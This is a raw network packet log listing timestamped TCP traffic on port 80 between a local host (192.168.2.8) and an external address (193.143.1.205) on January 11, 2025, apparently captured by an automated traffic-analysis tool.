Jan 11, 2025 06:20:05.008594990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008599997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.008599997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.008605003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008616924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008629084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.008651018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.008675098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.009422064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009434938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009447098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009463072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009474993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009485006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009486914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.009490967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009500980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009512901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009531975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.009531975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.009561062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009574890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.009666920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.009977102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.009988070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.010020018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.010077953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.010088921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.010099888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.010109901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.010133982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.010211945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.016488075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.028892994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.049871922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.049886942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.049899101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.049966097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.091675997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091708899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091727018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091738939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091749907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091761112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091773987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091797113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.091824055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091835976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091847897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091867924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.091867924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.091952085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091962099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091973066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091984987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.091995001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.092005968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.092008114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.092008114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.092060089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.117541075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.121315956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133362055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133390903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133409977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133425951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133436918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133450985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133476973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133497953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133510113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133521080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133537054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133568048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133600950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133603096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133611917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133622885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133632898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133649111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133661032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133663893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133671999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.133693933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.133714914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134035110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134062052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134073973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134090900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134115934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134196043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134207010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134212971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134253979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134265900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134275913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134287119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134291887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134320974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134332895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134335995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134335995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134346008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134357929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134361029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134413958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134413958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134428024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134438038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134449959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134485960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134485960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134500980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134512901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134614944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134634018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134645939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134655952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134666920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134679079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134707928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134707928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134733915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134743929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134756088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134761095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134768009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134779930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134790897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134803057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134804010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134804010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134835958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134839058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134850025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134891033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.134958029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134968996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134979963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.134990931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135003090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135015011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135026932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135027885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135027885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135037899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135051012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135071993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135102987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135138035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135149002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135160923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135174036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135217905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135226965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135287046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135298014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135308981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135328054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135343075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135346889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135351896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135359049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135365009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135375977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135410070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135416031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135426998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135438919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135452986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135452986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135456085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135469913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135481119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135492086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135499954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135544062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135544062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135695934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135709047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135719061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135730028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135740995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135752916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135761976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135765076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135773897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135776997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135788918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135798931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135809898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135823011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135833979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135833979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135902882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.135965109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135976076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135987997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.135998964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136008978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136017084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.136019945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136050940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.136068106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136079073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.136080980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136092901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136106014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136116028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.136121988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.136145115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.144785881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.362673044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362714052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362732887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362744093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362756014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362773895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362785101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362797022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362809896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362821102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362826109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362832069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362843037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362843037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.362854004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362864971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362889051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.362910986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.362940073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.362963915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.362965107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363009930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363022089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363033056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363049984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363070965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363111019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363125086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363135099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363146067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363152027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363157988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363169909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363177061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363182068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363192081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363203049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363212109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363214970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363225937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363244057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363249063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363256931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363265991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363272905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363276958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363322973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363351107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363435030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363445997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363456011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363466978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363477945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363486052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363488913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363501072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363511086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363518000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363521099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363533020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363543987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363545895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363555908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363565922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363573074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363578081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363588095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363600969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363600969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363624096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363643885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363817930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363828897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363847017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363859892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363866091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363869905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363881111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363892078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363899946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363903046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363914967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363919973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363926888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363936901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363945007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363949060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363960028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363971949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363974094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.363981962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363992929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.363996983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364005089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364016056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364022017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364027977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364037991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364052057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364065886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364094973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364274979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364285946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364296913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364308119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364320040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364325047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364331961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364343882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364346027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364355087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364361048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364366055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364367962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364372969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364393950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364403963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364412069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364422083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364434004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364444971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364448071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364458084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364469051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364478111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364480019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364495993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364505053 CET	49704	80	192.168.2.8	193.143.1.205
